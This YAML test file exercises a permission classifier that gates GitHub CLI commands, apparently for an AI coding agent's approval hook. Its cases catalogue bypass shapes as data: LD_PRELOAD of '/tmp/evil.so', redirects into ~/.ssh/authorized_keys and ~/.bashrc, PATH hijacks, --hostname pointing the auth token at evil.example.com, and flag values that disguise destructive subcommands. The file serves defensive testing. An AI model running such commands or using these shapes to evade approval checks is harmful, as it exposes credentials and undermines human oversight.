tests:
  # ════════════════════════════════════════════════════════════════
  # gh api: read-only GET cases — allow via gh-readonly-classifier
  # ════════════════════════════════════════════════════════════════

  - id: gh-api-dogfood-pain-point
    command: "gh api repos/openai/codex/contents/codex-rs/hooks/src/engine/output_parser.rs?ref=main --jq .content"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "the v0.16 parent-supervision pain point — must auto-allow"

  - id: gh-api-default-method
    command: "gh api repos/owner/repo"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  - id: gh-api-explicit-get-X
    command: "gh api -X GET repos/owner/repo"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  - id: gh-api-explicit-get-method-flag
    command: "gh api --method GET repos/owner/repo"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  - id: gh-api-method-equals-get
    command: "gh api --method=GET repos/owner/repo"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  # ════════════════════════════════════════════════════════════════
  # gh api: mutating / unsafe — must ask
  # ════════════════════════════════════════════════════════════════

  - id: gh-api-explicit-post-asks-via-rule
    command: "gh api -X POST repos/foo/issues"
    expected:
      decision: ask
      rule_id: gh-api-mutating
    note: "preserved by the existing gh-api-mutating rule"

  - id: gh-api-body-flag-asks-via-allowlist
    command: "gh api repos/foo/issues -f title=x"
    expected:
      decision: ask
    note: "classifier returns None on body flag; falls through to gh-api allowlist (trust:full → ask)"

  - id: gh-api-glued-short-body-flag-asks
    command: "gh api repos/foo/issues -ffoo=bar"
    expected:
      decision: ask

  - id: gh-api-no-endpoint-asks
    command: "gh api"
    expected:
      decision: ask
    note: "Step 0 rejects: no endpoint after subcommand"

  - id: gh-api-get-no-endpoint-asks
    command: "gh api -X GET"
    expected:
      decision: ask

  - id: gh-api-command-substitution-asks
    command: "gh api $(echo repos/foo)"
    expected:
      decision: ask
    note: "Step 0 rejects: UnsafeString in argv"

  # ════════════════════════════════════════════════════════════════
  # gh subcommand inspection — read-only allow
  # ════════════════════════════════════════════════════════════════

  - id: gh-pr-view-allow
    command: "gh pr view 123 --json files"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  - id: gh-pr-list-allow
    command: "gh pr list --state open"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  - id: gh-pr-merge-asks
    command: "gh pr merge 123"
    expected:
      decision: ask
    note: "classifier returns None on merge; falls through to gh pr merge allowlist (trust:full → ask)"

  - id: gh-search-code-allow
    command: "gh search code longline"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  - id: gh-status-allow
    command: "gh status"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  - id: gh-secret-list-allow
    command: "gh secret list"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  - id: gh-secret-set-asks
    command: "gh secret set FOO --body bar"
    expected:
      decision: ask

  - id: gh-variable-list-allow
    command: "gh variable list"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  - id: gh-cache-list-allow
    command: "gh cache list"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier

  # ════════════════════════════════════════════════════════════════
  # Wrapper interaction
  # ════════════════════════════════════════════════════════════════

  - id: gh-command-wrapper-allow
    command: "command gh pr view 123"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "command-wrapper unwrapping — inner gh leaf classifies; rule_id propagated from the classifier via the evaluate_with_extras merge branch added in Bundle 3"

  - id: gh-env-wrapper-asks-via-printenv
    command: "env GH_TOKEN=xyz gh api repos/foo"
    expected:
      decision: ask
      rule_id: printenv
    note: "env rule fires on the wrapper before/alongside the unwrapped gh leaf — proposal explicitly says env follows existing secret/env policy first"

  # ════════════════════════════════════════════════════════════════
  # Pipeline leaf preservation
  # ════════════════════════════════════════════════════════════════

  - id: gh-api-pipeline-allow
    command: "gh api repos/foo/bar | jq -r .content"
    expected:
      decision: allow
    note: "gh leaf classifies via classifier; jq leaf via core-allowlist"

  # ════════════════════════════════════════════════════════════════
  # R7 Bug 1 — statement-level fail-open (all three statement forms)
  # ════════════════════════════════════════════════════════════════

  - id: gh-statement-fail-open-and
    command: "gh pr view 123 && unknown_command_xyz"
    expected:
      decision: ask
    note: "classified gh leaf + unknown leaf in && list must ask, not allow"

  - id: gh-statement-fail-open-or
    command: "unknown_command_xyz || gh pr view 123"
    expected:
      decision: ask
    note: "unknown leaf + classified gh leaf in || list must ask, not allow"

  - id: gh-pipeline-fail-open
    command: "gh api repos/foo | unknown_command_xyz"
    expected:
      decision: ask
    note: "classified gh api leaf piped to unknown command must ask, not allow"

  # ════════════════════════════════════════════════════════════════
  # R7 Bug 2 — method-flag bypass
  # ════════════════════════════════════════════════════════════════

  - id: gh-method-bypass-X-then-method-equals
    command: "gh api -X GET repos/foo --method=POST"
    expected:
      decision: ask
    note: "conflicting method flags: -X GET then --method=POST; must ask not allow"

  - id: gh-method-bypass-method-then-method-equals
    command: "gh api --method GET repos/foo --method=POST"
    expected:
      decision: ask
    note: "conflicting method flags: --method GET then --method=POST; must ask not allow"

  # ════════════════════════════════════════════════════════════════
  # R7 Bug 3 — value-flag values mistaken for endpoint
  # ════════════════════════════════════════════════════════════════

  - id: gh-jq-no-endpoint
    command: "gh api --jq ."
    expected:
      decision: ask
    note: "jq filter value must not be treated as endpoint; no endpoint → classifier returns None → ask"

  - id: gh-header-no-endpoint
    command: "gh api -H foo"
    expected:
      decision: ask
    note: "header value must not be treated as endpoint; no endpoint → classifier returns None → ask"

  - id: gh-jq-with-endpoint
    command: "gh api --jq . repos/foo"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "endpoint follows jq filter value; classifier correctly identifies repos/foo as endpoint"

  # ════════════════════════════════════════════════════════════════
  # R7 round-2 review — short-form value flags consume their value
  # ════════════════════════════════════════════════════════════════

  - id: gh-api-short-q-no-endpoint
    command: "gh api -q ."
    expected:
      decision: ask
    note: "-q is short for --jq; value `.` must not be treated as endpoint"

  - id: gh-api-short-t-no-endpoint
    command: "gh api -t '{{.}}'"
    expected:
      decision: ask
    note: "-t is short for --template; value must not be treated as endpoint"

  - id: gh-api-preview-no-endpoint
    command: "gh api --preview foo"
    expected:
      decision: ask
    note: "--preview takes a value; without endpoint, classifier returns None → ask"

  - id: gh-api-hostname-no-endpoint
    command: "gh api --hostname ghe.example.com"
    expected:
      decision: ask
    note: "--hostname takes a value; without endpoint, classifier returns None → ask"

  - id: gh-api-short-q-with-endpoint
    command: "gh api -q . repos/foo"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "endpoint follows -q value; classifier correctly identifies repos/foo as endpoint"

  # ════════════════════════════════════════════════════════════════
  # R7 round-3 review — secret/host override + local-write rejection
  # ════════════════════════════════════════════════════════════════

  - id: gh-api-inline-gh-token-asks
    command: "GH_TOKEN=abc gh api repos/foo"
    expected:
      decision: ask
    note: "inline GH_TOKEN assignment must not bypass secret handling — proposal forbids weakening it"

  - id: gh-api-inline-gh-host-override-asks
    command: "GH_ENTERPRISE_TOKEN=abc GH_HOST=example.invalid gh api repos/foo"
    expected:
      decision: ask
    note: "inline host-override env vars must redirect through trust:full ask, not classifier allow"

  - id: gh-api-hostname-flag-asks
    command: "gh api --hostname example.invalid repos/foo"
    expected:
      decision: ask
    note: "--hostname flag is host override; preserve pre-R7 trust:full ask"

  - id: gh-api-cache-flag-asks
    command: "gh api --cache 1h repos/foo"
    expected:
      decision: ask
    note: "--cache persists API responses locally — same class as gh release download (R8)"

  # ════════════════════════════════════════════════════════════════
  # R7 round-4 review — execution-environment + absolute-path overrides
  # ════════════════════════════════════════════════════════════════

  - id: gh-api-inline-path-override-asks
    command: "PATH=/tmp gh api repos/foo"
    expected:
      decision: ask
    note: "PATH override could redirect gh executable lookup; pre-R7 trust:full asked"

  - id: gh-api-ld-preload-asks
    command: "LD_PRELOAD=/tmp/evil.so gh api repos/foo"
    expected:
      decision: ask
    note: "LD_PRELOAD shim hijacks gh's address space; pre-R7 trust:full asked"

  - id: gh-api-arbitrary-inline-assignment-asks
    command: "FOO=bar gh api repos/foo"
    expected:
      decision: ask
    note: "any inline assignment — even harmless-looking — must ask, matching pre-R7 trust:full uniformity"

  - id: gh-api-absolute-path-asks
    command: "/tmp/gh api repos/foo"
    expected:
      decision: ask
    note: "absolute-path gh could be a different binary; pre-R7 trust:full asked"

  # ════════════════════════════════════════════════════════════════
  # R7 round-5 review — redirect bypass + wrapper-assignment bypass
  # ════════════════════════════════════════════════════════════════

  - id: gh-api-redirect-to-authorized-keys-asks
    command: "gh api repos/foo > ~/.ssh/authorized_keys"
    expected:
      decision: ask
    note: "redirect could inject SSH keys; pre-R7 trust:full asked, redirect-write-etc rule does not cover ~/.ssh/"

  - id: gh-api-redirect-to-bashrc-asks
    command: "gh api repos/foo > ~/.bashrc"
    expected:
      decision: ask
    note: "redirect could inject shell hooks; pre-R7 trust:full asked"

  - id: gh-api-redirect-to-tmp-asks
    command: "gh api repos/foo > /tmp/out"
    expected:
      decision: ask
    note: "any redirect on gh api — pre-R7 trust:full asked uniformly"

  - id: gh-api-wrapper-with-path-override-asks
    command: "PATH=/tmp command gh api repos/foo"
    expected:
      decision: ask
    note: "wrapper-stripping with PATH override on the outer wrapper — fixed by carrying assignments forward in parser/wrappers.rs"

  - id: gh-api-wrapper-with-ld-preload-asks
    command: "LD_PRELOAD=/tmp/evil.so nice gh api repos/foo"
    expected:
      decision: ask
    note: "LD_PRELOAD via nice wrapper — assignment carry-forward routes inner classify_gh_api to ask"

  # Note: per R7 round-6 architectural decision, gh api classifier does
  # NOT fire on extracted leaves (any wrapper, find -exec, xargs,
  # shell-c, command/process substitution). The proposal listed
  # `command gh api ...` as in-scope wrapper coverage but rounds 5-6
  # surfaced too many bypass shapes via wrapper-extracted leaves
  # (PATH=/tmp wrapper, redirects on outer wrapper, substitution-as-
  # data-pipe). Single architectural rule: "extras don't classify
  # gh api" closes all of them uniformly. Loses wrapper coverage for
  # gh api specifically; non-api gh subcommands (pr/issue/repo/etc.)
  # keep classifier coverage on extras (proposal's `command gh pr view`
  # case still allows).
  - id: gh-api-wrapper-asks
    command: "command gh api repos/foo"
    expected:
      decision: ask
    note: "extras-don't-classify-api architectural rule (R7 round-6); preserves pre-R7 behavior for wrapper-extracted gh api"

  - id: gh-api-shell-c-wrapper-asks
    command: "bash -c 'gh api repos/foo'"
    expected:
      decision: ask
    note: "shell-c re-parsing produces extra leaf; gh api classifier skipped on extras"

  - id: gh-api-shell-c-with-path-override-asks
    command: "PATH=/tmp bash -c 'gh api repos/foo'"
    expected:
      decision: ask
    note: "shell-c with outer PATH override — extras-don't-classify-api closes this"

  - id: gh-api-find-exec-asks
    command: "find . -exec gh api repos/foo \\;"
    expected:
      decision: ask
    note: "find -exec extracts gh api as extra leaf; classifier skipped"

  - id: gh-api-find-exec-redirect-asks
    command: "find . -exec gh api repos/foo \\; > ~/.ssh/authorized_keys"
    expected:
      decision: ask
    note: "find -exec with outer redirect — extras-don't-classify-api closes the ssh-key-injection bypass"

  - id: gh-api-xargs-asks
    command: "echo repos/foo | xargs gh api"
    expected:
      decision: ask
    note: "xargs runtime arg-append previously a documented limitation; closed by extras-don't-classify-api architectural rule"

  - id: gh-api-command-substitution-with-outer-redirect-asks
    command: "echo $(gh api repos/foo) > ~/.bashrc"
    expected:
      decision: ask
    note: "command substitution feeding outer redirect — embedded gh api leaf is extra, classifier skipped"

  # Non-api gh subcommands KEEP wrapper coverage — extras-don't-classify-api
  # is targeted to api specifically, not the whole gh classifier.
  - id: gh-pr-view-wrapper-still-allows
    command: "command gh pr view 123"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "non-api gh subcommands still classify on extras (proposal's command gh pr view case)"

  # ════════════════════════════════════════════════════════════════
  # R7 round-7 review — gh auth status --show-token defense-in-depth
  # ════════════════════════════════════════════════════════════════

  - id: gh-auth-status-show-token-asks
    command: "gh auth status --show-token"
    expected:
      decision: ask
    note: "--show-token prints the auth token to stdout; classifier refuses (defense-in-depth, falls through to minimal-trust allowlist which today allows — not a pre-R7 regression but worth refusing in the classifier)"

  - id: gh-auth-status-short-t-asks
    command: "gh auth status -t"
    expected:
      decision: ask
    note: "-t is short for --show-token; same rejection"

  # ════════════════════════════════════════════════════════════════
  # R7 round-8 review — top-level value-flag value spelling shape token
  # ════════════════════════════════════════════════════════════════

  - id: gh-release-repo-flag-value-bypass-asks
    command: "gh release --repo view delete v1 --yes"
    expected:
      decision: ask
    note: "--repo's value 'view' must not be misread as release subcommand; gh executes 'release delete'"

  - id: gh-secret-R-flag-value-bypass-asks
    command: "gh secret -R list set FOO --body bar"
    expected:
      decision: ask
    note: "-R's value 'list' must not be misread as secret subcommand; gh executes 'secret set'"

  - id: gh-pr-repo-before-subcommand-still-allows
    command: "gh pr --repo owner/repo view 123"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "after skipping --repo+value pair, view is correctly identified as the shape"

  - id: gh-pr-R-before-subcommand-still-allows
    command: "gh pr -R owner/repo view 123"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "short-form -R before subcommand"

  # ════════════════════════════════════════════════════════════════
  # R7 round-9 review — R7-new families need strict invocation guard
  # ════════════════════════════════════════════════════════════════

  - id: gh-release-view-with-path-override-asks
    command: "PATH=/tmp gh release view v1"
    expected:
      decision: ask
    note: "R7-NEW family release view: pre-R7 had no allowlist coverage; require strict invocation"

  - id: gh-status-absolute-path-asks
    command: "/tmp/gh status"
    expected:
      decision: ask
    note: "R7-NEW family status: pre-R7 asked; absolute-path bypass closed"

  - id: gh-secret-list-ld-preload-asks
    command: "LD_PRELOAD=/tmp/evil.so gh secret list"
    expected:
      decision: ask
    note: "R7-NEW family secret list: shared-object hijack closed"

  - id: gh-search-code-with-foo-bar-asks
    command: "FOO=bar gh search code longline"
    expected:
      decision: ask
    note: "R7-NEW family search: any inline assignment asks (uniform with R7 round-4 gh-api fix)"

  # Pre-R7-allowlisted families must NOT regress under environment
  # overrides — pre-R7 minimal/standard allowlist matched by basename
  # and ignored assignments. R7 round-9 strict guard is targeted to
  # R7-NEW families only.
  - id: gh-pr-view-with-path-override-still-allows
    command: "PATH=/tmp gh pr view 123"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "pre-R7 minimal-trust allowlist matched by basename; preserve via classifier"

  - id: gh-pr-view-absolute-path-still-allows
    command: "/usr/local/bin/gh pr view 123"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "pre-R7 minimal-trust allowlist matched by basename"

  # ════════════════════════════════════════════════════════════════
  # R7 round-10 review — --hostname rejection on R7-new families
  # ════════════════════════════════════════════════════════════════

  - id: gh-release-view-hostname-override-asks
    command: "gh --hostname evil.example.com release view v1"
    expected:
      decision: ask
    note: "--hostname redirects auth to attacker host on R7-NEW family; classifier rejects"

  - id: gh-secret-list-hostname-equals-asks
    command: "gh --hostname=evil.example.com secret list"
    expected:
      decision: ask
    note: "single-token --hostname=value form"

  - id: gh-release-with-repo-still-allows
    command: "gh -R owner/repo release view v1"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "-R only changes which repo is queried, not where auth goes; allow"

  # ════════════════════════════════════════════════════════════════
  # R7 round-10 review (Codex) — extend coverage to pre-R7 families
  # ════════════════════════════════════════════════════════════════

  - id: gh-pr-view-hostname-override-asks
    command: "gh --hostname evil.example.com pr view 123"
    expected:
      decision: ask
    note: "pre-R7 family with hostname override — defense-in-depth tightening (pre-R7 also allowed but high-impact secret leak)"

  - id: gh-auth-status-hostname-override-asks
    command: "gh --hostname=evil.example.com auth status"
    expected:
      decision: ask

  # Shell-c bypass for R7-new: `bash -c 'gh release view v1'` was
  # classifier-allowing because shell-c reparse drops outer
  # assignments and the round-6 architectural fix (extras don't
  # classify gh api) was scoped to api only. Round-10 extends the
  # rule to all R7-NEW families.
  - id: gh-release-view-shell-c-asks
    command: "bash -c 'gh release view v1'"
    expected:
      decision: ask
    note: "R7-new family via shell-c — extras-don't-classify rule extended in round 10"

  - id: gh-api-find-exec-shell-c-asks
    command: "find . -exec sh -c 'gh api repos/foo' sh {} \\;"
    expected:
      decision: ask
    note: "find -exec sh -c reparses gh api as an extra leaf; do not classify with gh-readonly-classifier"

  - id: gh-api-xargs-shell-c-asks
    command: "xargs sh -c 'gh api repos/foo'"
    expected:
      decision: ask
    note: "xargs sh -c reparses gh api as an extra leaf; do not classify with gh-readonly-classifier"

  - id: gh-release-view-find-exec-shell-c-asks
    command: "find . -exec sh -c 'gh release view v1' sh {} \\;"
    expected:
      decision: ask
    note: "R7-new family via find -exec sh -c remains Ask, not gh-readonly-classifier"

  - id: gh-release-view-xargs-shell-c-asks
    command: "xargs sh -c 'gh release view v1'"
    expected:
      decision: ask
    note: "R7-new family via xargs sh -c remains Ask, not gh-readonly-classifier"

  - id: gh-secret-list-shell-c-with-path-override-asks
    command: "PATH=/tmp bash -c 'gh secret list'"
    expected:
      decision: ask
    note: "shell-c drops outer assignments; extras-don't-classify-R7-new closes this"

  # ════════════════════════════════════════════════════════════════
  # R7 round-11 review — subcommand-level value-flag value as shape
  # ════════════════════════════════════════════════════════════════

  - id: gh-release-notes-flag-value-bypass-asks
    command: "gh release --notes view edit v1"
    expected:
      decision: ask
    note: "--notes value 'view' must not be misread as shape; gh runs `release edit`"

  - id: gh-secret-org-flag-value-bypass-asks
    command: "gh secret --org list set FOO --body bar"
    expected:
      decision: ask
    note: "--org value 'list' must not be misread as shape; gh runs `secret set`"

  - id: gh-label-description-flag-value-bypass-asks
    command: "gh label --description list create bug"
    expected:
      decision: ask
    note: "--description value 'list' must not be misread as shape; gh runs `label create`"

  - id: gh-pr-view-with-post-subcommand-json-flag-still-allows
    command: "gh pr view 123 --json files"
    expected:
      decision: allow
      rule_id: gh-readonly-classifier
    note: "post-subcommand flags are normal; only between subcommand and shape is the bypass surface"
